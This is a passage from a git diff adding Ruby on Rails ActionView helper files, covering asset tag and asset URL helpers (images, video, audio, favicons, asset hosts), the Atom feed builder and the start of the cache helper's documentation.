+ # auto_discovery_link_tag
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+ # auto_discovery_link_tag(:atom)
+ # # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+ # auto_discovery_link_tag(:rss, {action: "feed"})
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+ # auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
+ # # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+ # auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
+ # # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+ # auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
+ # # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
+ def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+ if !(type == :rss || type == :atom) && tag_options[:type].blank?
+ message = "You have passed type other than :rss or :atom to auto_discovery_link_tag and haven't supplied " +
+ "the :type option key. This behavior is deprecated and will be remove in Rails 4.1. You should pass " +
+ ":type option explicitly if you want to use other types, for example: " +
+ "auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')"
+ ActiveSupport::Deprecation.warn message
+ end
+
+ tag(
+ "link",
+ "rel" => tag_options[:rel] || "alternate",
+ "type" => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
+ "title" => tag_options[:title] || type.to_s.upcase,
+ "href" => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
+ )
+ end
+
+ # Returns a link loading a favicon file. You may specify a different file
+ # in the first argument. The helper accepts an additional options hash where
+ # you can override "rel" and "type".
+ #
+ # ==== Options
+ #
+ # * <tt>:rel</tt> - Specify the relation of this link, defaults to 'shortcut icon'
+ # * <tt>:type</tt> - Override the auto-generated mime type, defaults to 'image/vnd.microsoft.icon'
+ #
+ # ==== Examples
+ #
+ # favicon_link_tag '/myicon.ico'
+ # # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
+ #
+ # Mobile Safari looks for a different <link> tag, pointing to an image that
+ # will be used if you add the page to the home screen of an iPod Touch, iPhone, or iPad.
+ # The following call would generate such a tag:
+ #
+ # favicon_link_tag '/mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+ # # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
+ def favicon_link_tag(source='favicon.ico', options={})
+ tag('link', {
+ :rel => 'shortcut icon',
+ :type => 'image/vnd.microsoft.icon',
+ :href => path_to_image(source)
+ }.merge!(options.symbolize_keys))
+ end
+
+ # Returns an HTML image tag for the +source+. The +source+ can be a full
+ # path or a file.
+ #
+ # ==== Options
+ #
+ # You can add HTML attributes using the +options+. The +options+ supports
+ # three additional keys for convenience and conformance:
+ #
+ # * <tt>:alt</tt> - If no alt text is given, the file name part of the
+ # +source+ is used (capitalized and without the extension)
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+ # width="30" and height="45", and "50" becomes width="50" and height="50".
+ # <tt>:size</tt> will be ignored if the value is not in the correct format.
+ #
+ # ==== Examples
+ #
+ # image_tag("icon")
+ # # => <img alt="Icon" src="/assets/icon" />
+ # image_tag("icon.png")
+ # # => <img alt="Icon" src="/assets/icon.png" />
+ # image_tag("icon.png", size: "16x10", alt: "Edit Entry")
+ # # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+ # image_tag("/icons/icon.gif", size: "16")
+ # # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+ # image_tag("/icons/icon.gif", height: '32', width: '32')
+ # # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+ # image_tag("/icons/icon.gif", class: "menu_icon")
+ # # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+ def image_tag(source, options={})
+ options = options.symbolize_keys
+
+ src = options[:src] = path_to_image(source)
+
+ unless src =~ /^(?:cid|data):/ || src.blank?
+ options[:alt] = options.fetch(:alt){ image_alt(src) }
+ end
+
+ if size = options.delete(:size)
+ options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
+ options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
+ end
+
+ tag("img", options)
+ end
+
+ # Returns a string suitable for an html image tag alt attribute.
+ # The +src+ argument is meant to be an image file path.
+ # The method removes the basename of the file path and the digest,
+ # if any. It also removes hyphens and underscores from file names and
+ # replaces them with spaces, returning a space-separated, titleized
+ # string.
+ #
+ # ==== Examples
+ #
+ # image_tag('rails.png')
+ # # => <img alt="Rails" src="/assets/rails.png" />
+ #
+ # image_tag('hyphenated-file-name.png')
+ # # => <img alt="Hyphenated file name" src="/assets/hyphenated-file-name.png" />
+ #
+ # image_tag('underscored_file_name.png')
+ # # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
+ def image_alt(src)
+ File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize
+ end
+
+ # Returns an html video tag for the +sources+. If +sources+ is a string,
+ # a single video tag will be returned. If +sources+ is an array, a video
+ # tag with nested source tags for each source will be returned. The
+ # +sources+ can be full paths or files that exists in your public videos
+ # directory.
+ #
+ # ==== Options
+ # You can add HTML attributes using the +options+. The +options+ supports
+ # two additional keys for convenience and conformance:
+ #
+ # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
+ # before the video loads. The path is calculated like the +src+ of +image_tag+.
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
+ # width="30" and height="45". <tt>:size</tt> will be ignored if the
+ # value is not in the correct format.
+ #
+ # ==== Examples
+ #
+ # video_tag("trailer")
+ # # => <video src="/videos/trailer" />
+ # video_tag("trailer.ogg")
+ # # => <video src="/videos/trailer.ogg" />
+ # video_tag("trailer.ogg", controls: true, autobuffer: true)
+ # # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
+ # video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
+ # # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
+ # video_tag("/trailers/hd.avi", size: "16x16")
+ # # => <video src="/trailers/hd.avi" width="16" height="16" />
+ # video_tag("/trailers/hd.avi", height: '32', width: '32')
+ # # => <video height="32" src="/trailers/hd.avi" width="32" />
+ # video_tag("trailer.ogg", "trailer.flv")
+ # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag(["trailer.ogg", "trailer.flv"])
+ # # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ # video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
+ # # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+ def video_tag(*sources)
+ multiple_sources_tag('video', sources) do |options|
+ options[:poster] = path_to_image(options[:poster]) if options[:poster]
+
+ if size = options.delete(:size)
+ options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
+ end
+ end
+ end
+
+ # Returns an HTML audio tag for the +source+.
+ # The +source+ can be full path or file that exists in
+ # your public audios directory.
+ #
+ # audio_tag("sound")
+ # # => <audio src="/audios/sound" />
+ # audio_tag("sound.wav")
+ # # => <audio src="/audios/sound.wav" />
+ # audio_tag("sound.wav", autoplay: true, controls: true)
+ # # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
+ # audio_tag("sound.wav", "sound.mid")
+ # # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+ def audio_tag(*sources)
+ multiple_sources_tag('audio', sources)
+ end
+
+ private
+ def multiple_sources_tag(type, sources)
+ options = sources.extract_options!.symbolize_keys
+ sources.flatten!
+
+ yield options if block_given?
+
+ if sources.size > 1
+ content_tag(type, options) do
+ safe_join sources.map { |source| tag("source", :src => send("path_to_#{type}", source)) }
+ end
+ else
+ options[:src] = send("path_to_#{type}", sources.first)
+ content_tag(type, nil, options)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/asset_url_helper.rb b/actionpack/lib/action_view/helpers/asset_url_helper.rb
new file mode 100644
index 0000000..71b78cf
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/asset_url_helper.rb
@@ -0,0 +1,354 @@
+require 'zlib'
+
+module ActionView
+ # = Action View Asset URL Helpers
+ module Helpers
+ # This module provides methods for generating asset paths and
+ # urls.
+ #
+ # image_path("rails.png")
+ # # => "/assets/rails.png"
+ #
+ # image_url("rails.png")
+ # # => "http://www.example.com/assets/rails.png"
+ #
+ # === Using asset hosts
+ #
+ # By default, Rails links to these assets on the current host in the public
+ # folder, but you can direct Rails to link to assets from a dedicated asset
+ # server by setting <tt>ActionController::Base.asset_host</tt> in the application
+ # configuration, typically in <tt>config/environments/production.rb</tt>.
+ # For example, you'd define <tt>assets.example.com</tt> to be your asset
+ # host this way, inside the <tt>configure</tt> block of your environment-specific
+ # configuration files or <tt>config/application.rb</tt>:
+ #
+ # config.action_controller.asset_host = "assets.example.com"
+ #
+ # Helpers take that into account:
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # Browsers typically open at most two simultaneous connections to a single
+ # host, which means your assets often have to wait for other assets to finish
+ # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
+ # +asset_host+. For example, "assets%d.example.com". If that wildcard is
+ # present Rails distributes asset requests among the corresponding four hosts
+ # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
+ # will open eight simultaneous connections rather than two.
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # To do this, you can either setup four actual hosts, or you can use wildcard
+ # DNS to CNAME the wildcard to a single asset host. You can read more about
+ # setting up your DNS CNAME records from your ISP.
+ #
+ # Note: This is purely a browser performance optimization and is not meant
+ # for server load balancing. See http://www.die.net/musings/page_load_time/
+ # for background.
+ #
+ # Alternatively, you can exert more control over the asset host by setting
+ # +asset_host+ to a proc like this:
+ #
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+ # }
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # The example above generates "http://assets1.example.com" and
+ # "http://assets2.example.com". This option is useful for example if
+ # you need fewer/more than four hosts, custom host names, etc.
+ #
+ # As you see the proc takes a +source+ parameter. That's a string with the
+ # absolute path of the asset, for example "/assets/rails.png".
+ #
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # if source.ends_with?('.css')
+ # "http://stylesheets.example.com"
+ # else
+ # "http://assets.example.com"
+ # end
+ # }
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # Alternatively you may ask for a second parameter +request+. That one is
+ # particularly useful for serving assets from an SSL-protected page. The
+ # example proc below disables asset hosting for HTTPS connections, while
+ # still sending assets for plain HTTP requests from asset hosts. If you don't
+ # have SSL certificates for each of the asset hosts this technique allows you
+ # to avoid warnings in the client about mixed media.
+ #
+ # config.action_controller.asset_host = Proc.new { |source, request|
+ # if request.ssl?
+ # "#{request.protocol}#{request.host_with_port}"
+ # else
+ # "#{request.protocol}assets.example.com"
+ # end
+ # }
+ #
+ # You can also implement a custom asset host object that responds to +call+
+ # and takes either one or two parameters just like the proc.
+ #
+ # config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+ # "http://asset%d.example.com", "https://asset1.example.com"
+ # )
+ #
+ module AssetUrlHelper
+ URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}
+
+ # Computes the path to asset in public directory. If :type
+ # options is set, a file extension will be appended and scoped
+ # to the corresponding public directory.
+ #
+ # All other asset *_path helpers delegate through this method.
+ #
+ # asset_path "application.js" # => /application.js
+ # asset_path "application", type: :javascript # => /javascripts/application.js
+ # asset_path "application", type: :stylesheet # => /stylesheets/application.css
+ # asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+ def asset_path(source, options = {})
+ source = source.to_s
+ return "" unless source.present?
+ return source if source =~ URI_REGEXP
+
+ tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, '')
+
+ if extname = compute_asset_extname(source, options)
+ source = "#{source}#{extname}"
+ end
+
+ if source[0] != ?/
+ source = compute_asset_path(source, options)
+ end
+
+ relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
+ if relative_url_root
+ source = "#{relative_url_root}#{source}" unless source.starts_with?("#{relative_url_root}/")
+ end
+
+ if host = compute_asset_host(source, options)
+ source = "#{host}#{source}"
+ end
+
+ "#{source}#{tail}"
+ end
+ alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with a asset_path named route
+
+ # Computes the full URL to a asset in the public directory. This
+ # will use +asset_path+ internally, so most of their behaviors
+ # will be the same.
+ def asset_url(source, options = {})
+ path_to_asset(source, options.merge(:protocol => :request))
+ end
+ alias_method :url_to_asset, :asset_url # aliased to avoid conflicts with an asset_url named route
+
+ ASSET_EXTENSIONS = {
+ javascript: '.js',
+ stylesheet: '.css'
+ }
+
+ # Compute extname to append to asset path. Returns nil if
+ # nothing should be added.
+ def compute_asset_extname(source, options = {})
+ return if options[:extname] == false
+ extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
+ extname if extname && File.extname(source) != extname
+ end
+
+ # Maps asset types to public directory.
+ ASSET_PUBLIC_DIRECTORIES = {
+ audio: '/audios',
+ font: '/fonts',
+ image: '/images',
+ javascript: '/javascripts',
+ stylesheet: '/stylesheets',
+ video: '/videos'
+ }
+
+ # Computes asset path to public directory. Plugins and
+ # extensions can override this method to point to custom assets
+ # or generate digested paths or query strings.
+ def compute_asset_path(source, options = {})
+ dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
+ File.join(dir, source)
+ end
+
+ # Pick an asset host for this source. Returns +nil+ if no host is set,
+ # the host if no wildcard is set, the host interpolated with the
+ # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+ # or the value returned from invoking call on an object responding to call
+ # (proc or otherwise).
+ def compute_asset_host(source = "", options = {})
+ request = self.request if respond_to?(:request)
+ host = config.asset_host if defined? config.asset_host
+ host ||= request.base_url if request && options[:protocol] == :request
+ return unless host
+
+ if host.respond_to?(:call)
+ arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
+ args = [source]
+ args << request if request && (arity > 1 || arity < 0)
+ host = host.call(*args)
+ elsif host =~ /%d/
+ host = host % (Zlib.crc32(source) % 4)
+ end
+
+ if host =~ URI_REGEXP
+ host
+ else
+ protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
+ case protocol
+ when :relative
+ "//#{host}"
+ when :request
+ "#{request.protocol}#{host}"
+ else
+ "#{protocol}://#{host}"
+ end
+ end
+ end
+
+ # Computes the path to a javascript asset in the public javascripts directory.
+ # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
+ # Full paths from the document root will be passed through.
+ # Used internally by javascript_include_tag to build the script path.
+ #
+ # javascript_path "xmlhr" # => /javascripts/xmlhr.js
+ # javascript_path "dir/xmlhr.js" # => /javascripts/dir/xmlhr.js
+ # javascript_path "/dir/xmlhr" # => /dir/xmlhr.js
+ # javascript_path "http://www.example.com/js/xmlhr" # => http://www.example.com/js/xmlhr
+ # javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+ def javascript_path(source, options = {})
+ path_to_asset(source, {type: :javascript}.merge!(options))
+ end
+ alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
+
+ # Computes the full URL to a javascript asset in the public javascripts directory.
+ # This will use +javascript_path+ internally, so most of their behaviors will be the same.
+ def javascript_url(source, options = {})
+ url_to_asset(source, {type: :javascript}.merge!(options))
+ end
+ alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
+
+ # Computes the path to a stylesheet asset in the public stylesheets directory.
+ # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs).
+ # Full paths from the document root will be passed through.
+ # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
+ #
+ # stylesheet_path "style" # => /stylesheets/style.css
+ # stylesheet_path "dir/style.css" # => /stylesheets/dir/style.css
+ # stylesheet_path "/dir/style.css" # => /dir/style.css
+ # stylesheet_path "http://www.example.com/css/style" # => http://www.example.com/css/style
+ # stylesheet_path "http://www.example.com/css/style.css" # => http://www.example.com/css/style.css
+ def stylesheet_path(source, options = {})
+ path_to_asset(source, {type: :stylesheet}.merge!(options))
+ end
+ alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
+
+ # Computes the full URL to a stylesheet asset in the public stylesheets directory.
+ # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
+ def stylesheet_url(source, options = {})
+ url_to_asset(source, {type: :stylesheet}.merge!(options))
+ end
+ alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
+
+ # Computes the path to an image asset.
+ # Full paths from the document root will be passed through.
+ # Used internally by +image_tag+ to build the image path:
+ #
+ # image_path("edit") # => "/assets/edit"
+ # image_path("edit.png") # => "/assets/edit.png"
+ # image_path("icons/edit.png") # => "/assets/icons/edit.png"
+ # image_path("/icons/edit.png") # => "/icons/edit.png"
+ # image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
+ #
+ # If you have images as application resources this method may conflict with their named routes.
+ # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
+ # plugin authors are encouraged to do so.
+ def image_path(source, options = {})
+ path_to_asset(source, {type: :image}.merge!(options))
+ end
+ alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
+
+ # Computes the full URL to an image asset.
+ # This will use +image_path+ internally, so most of their behaviors will be the same.
+ def image_url(source, options = {})
+ url_to_asset(source, {type: :image}.merge!(options))
+ end
+ alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
+
+ # Computes the path to a video asset in the public videos directory.
+ # Full paths from the document root will be passed through.
+ # Used internally by +video_tag+ to build the video path.
+ #
+ # video_path("hd") # => /videos/hd
+ # video_path("hd.avi") # => /videos/hd.avi
+ # video_path("trailers/hd.avi") # => /videos/trailers/hd.avi
+ # video_path("/trailers/hd.avi") # => /trailers/hd.avi
+ # video_path("http://www.example.com/vid/hd.avi") # => http://www.example.com/vid/hd.avi
+ def video_path(source, options = {})
+ path_to_asset(source, {type: :video}.merge!(options))
+ end
+ alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
+
+ # Computes the full URL to a video asset in the public videos directory.
+ # This will use +video_path+ internally, so most of their behaviors will be the same.
+ def video_url(source, options = {})
+ url_to_asset(source, {type: :video}.merge!(options))
+ end
+ alias_method :url_to_video, :video_url # aliased to avoid conflicts with an video_url named route
+
+ # Computes the path to an audio asset in the public audios directory.
+ # Full paths from the document root will be passed through.
+ # Used internally by +audio_tag+ to build the audio path.
+ #
+ # audio_path("horse") # => /audios/horse
+ # audio_path("horse.wav") # => /audios/horse.wav
+ # audio_path("sounds/horse.wav") # => /audios/sounds/horse.wav
+ # audio_path("/sounds/horse.wav") # => /sounds/horse.wav
+ # audio_path("http://www.example.com/sounds/horse.wav") # => http://www.example.com/sounds/horse.wav
+ def audio_path(source, options = {})
+ path_to_asset(source, {type: :audio}.merge!(options))
+ end
+ alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
+
+ # Computes the full URL to an audio asset in the public audios directory.
+ # This will use +audio_path+ internally, so most of their behaviors will be the same.
+ def audio_url(source, options = {})
+ url_to_asset(source, {type: :audio}.merge!(options))
+ end
+ alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
+
+ # Computes the path to a font asset.
+ # Full paths from the document root will be passed through.
+ #
+ # font_path("font") # => /assets/font
+ # font_path("font.ttf") # => /assets/font.ttf
+ # font_path("dir/font.ttf") # => /assets/dir/font.ttf
+ # font_path("/dir/font.ttf") # => /dir/font.ttf
+ # font_path("http://www.example.com/dir/font.ttf") # => http://www.example.com/dir/font.ttf
+ def font_path(source, options = {})
+ path_to_asset(source, {type: :font}.merge!(options))
+ end
+ alias_method :path_to_font, :font_path # aliased to avoid conflicts with an font_path named route
+
+ # Computes the full URL to a font asset.
+ # This will use +font_path+ internally, so most of their behaviors will be the same.
+ def font_url(source, options = {})
+ url_to_asset(source, {type: :font}.merge!(options))
+ end
+ alias_method :url_to_font, :font_url # aliased to avoid conflicts with an font_url named route
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
new file mode 100644
index 0000000..42b1dd8
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
@@ -0,0 +1,203 @@
+require 'set'
+
+module ActionView
+ # = Action View Atom Feed Helpers
+ module Helpers
+ module AtomFeedHelper
+ # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
+ # template languages).
+ #
+ # Full usage example:
+ #
+ # config/routes.rb:
+ # Basecamp::Application.routes.draw do
+ # resources :posts
+ # root to: "posts#index"
+ # end
+ #
+ # app/controllers/posts_controller.rb:
+ # class PostsController < ApplicationController::Base
+ # # GET /posts.html
+ # # GET /posts.atom
+ # def index
+ # @posts = Post.all
+ #
+ # respond_to do |format|
+ # format.html
+ # format.atom
+ # end
+ # end
+ # end
+ #
+ # app/views/posts/index.atom.builder:
+ # atom_feed do |feed|
+ # feed.title("My great blog!")
+ # feed.updated(@posts[0].created_at) if @posts.length > 0
+ #
+ # @posts.each do |post|
+ # feed.entry(post) do |entry|
+ # entry.title(post.title)
+ # entry.content(post.body, type: 'html')
+ #
+ # entry.author do |author|
+ # author.name("DHH")
+ # end
+ # end
+ # end
+ # end
+ #
+ # The options for atom_feed are:
+ #
+ # * <tt>:language</tt>: Defaults to "en-US".
+ # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
+ # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
+ # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}"
+ # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
+ # created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
+ # 2005 is used (as an "I don't care" value).
+ # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
+ #
+ # Other namespaces can be added to the root element:
+ #
+ # app/views/posts/index.atom.builder:
+ # atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+ # 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+ # feed.title("My great blog!")
+ # feed.updated((@posts.first.created_at))
+ # feed.tag!(openSearch:totalResults, 10)
+ #
+ # @posts.each do |post|
+ # feed.entry(post) do |entry|
+ # entry.title(post.title)
+ # entry.content(post.body, type: 'html')
+ # entry.tag!('app:edited', Time.now)
+ #
+ # entry.author do |author|
+ # author.name("DHH")
+ # end
+ # end
+ # end
+ # end
+ #
+ # The Atom spec defines five elements (content rights title subtitle
+ # summary) which may directly contain xhtml content if type: 'xhtml'
+ # is specified as an attribute. If so, this helper will take care of
+ # the enclosing div and xhtml namespace declaration. Example usage:
+ #
+ # entry.summary type: 'xhtml' do |xhtml|
+ # xhtml.p pluralize(order.line_items.count, "line item")
+ # xhtml.p "Shipped to #{order.address}"
+ # xhtml.p "Paid by #{order.pay_type}"
+ # end
+ #
+ #
+ # <tt>atom_feed</tt> yields an +AtomFeedBuilder+ instance. Nested elements yield
+ # an +AtomBuilder+ instance.
+ def atom_feed(options = {}, &block)
+ if options[:schema_date]
+ options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
+ else
+ options[:schema_date] = "2005" # The Atom spec copyright date
+ end
+
+ xml = options.delete(:xml) || eval("xml", block.binding)
+ xml.instruct!
+ if options[:instruct]
+ options[:instruct].each do |target,attrs|
+ if attrs.respond_to?(:keys)
+ xml.instruct!(target, attrs)
+ elsif attrs.respond_to?(:each)
+ attrs.each { |attr_group| xml.instruct!(target, attr_group) }
+ end
+ end
+ end
+
+ feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
+ feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
+
+ xml.feed(feed_opts) do
+ xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
+ xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
+ xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
+
+ yield AtomFeedBuilder.new(xml, self, options)
+ end
+ end
+
+ class AtomBuilder #:nodoc:
+ XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
+
+ def initialize(xml)
+ @xml = xml
+ end
+
+ private
+ # Delegate to xml builder, first wrapping the element in a xhtml
+ # namespaced div element if the method and arguments indicate
+ # that an xhtml_block? is desired.
+ def method_missing(method, *arguments, &block)
+ if xhtml_block?(method, arguments)
+ @xml.__send__(method, *arguments) do
+ @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
+ block.call(xhtml)
+ end
+ end
+ else
+ @xml.__send__(method, *arguments, &block)
+ end
+ end
+
+ # True if the method name matches one of the five elements defined
+ # in the Atom spec as potentially containing XHTML content and
+ # if type: 'xhtml' is, in fact, specified.
+ def xhtml_block?(method, arguments)
+ if XHTML_TAG_NAMES.include?(method.to_s)
+ last = arguments.last
+ last.is_a?(Hash) && last[:type].to_s == 'xhtml'
+ end
+ end
+ end
+
+ class AtomFeedBuilder < AtomBuilder #:nodoc:
+ def initialize(xml, view, feed_options = {})
+ @xml, @view, @feed_options = xml, view, feed_options
+ end
+
+ # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
+ def updated(date_or_time = nil)
+ @xml.updated((date_or_time || Time.now.utc).xmlschema)
+ end
+
+ # Creates an entry tag for a specific record and prefills the id using class and id.
+ #
+ # Options:
+ #
+ # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
+ # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
+ # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
+ # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
+ # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
+ def entry(record, options = {})
+ @xml.entry do
+ @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
+
+ if options[:published] || (record.respond_to?(:created_at) && record.created_at)
+ @xml.published((options[:published] || record.created_at).xmlschema)
+ end
+
+ if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
+ @xml.updated((options[:updated] || record.updated_at).xmlschema)
+ end
+
+ type = options.fetch(:type, 'text/html')
+
+ @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
+
+ yield AtomBuilder.new(@xml)
+ end
+ end
+ end
+
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb
new file mode 100644
index 0000000..8fc78ea
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/cache_helper.rb
@@ -0,0 +1,196 @@
+module ActionView
+ # = Action View Cache Helper
+ module Helpers
+ module CacheHelper
+ # This helper exposes a method for caching fragments of a view
+ # rather than an entire action or page. This technique is useful
+ # caching pieces like menus, lists of newstopics, static HTML
+ # fragments, and so on. This method takes a block that contains
+ # the content you wish to cache.
+ #
+ # The best way to use this is by doing key-based cache expiration
+ # on top of a cache store like Memcached that'll automatically
+ # kick out old entries. For more on key-based expiration, see:
+ # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
+ #
+ # When using this method, you list the cache dependency as the name of the cache, like so:
+ #
+ # <% cache project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This approach will assume that when a new topic is added, you'll touch
+ # the project. The cache key generated from this call will be something like:
+ #
+ # views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
+ # ^class ^id ^updated_at ^template tree digest
+ #
+ # The cache is thus automatically bumped whenever the project updated_at is touched.
+ #
+ # If your template cache depends on multiple sources (try to avoid this to keep things simple),
+ # you can name all these dependencies as part of an array:
+ #
+ # <% cache [ project, current_user ] do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This will include both records as part of the cache key and updating either of them will
+ # expire the cache.
+ #
+ # ==== Template digest
+ #
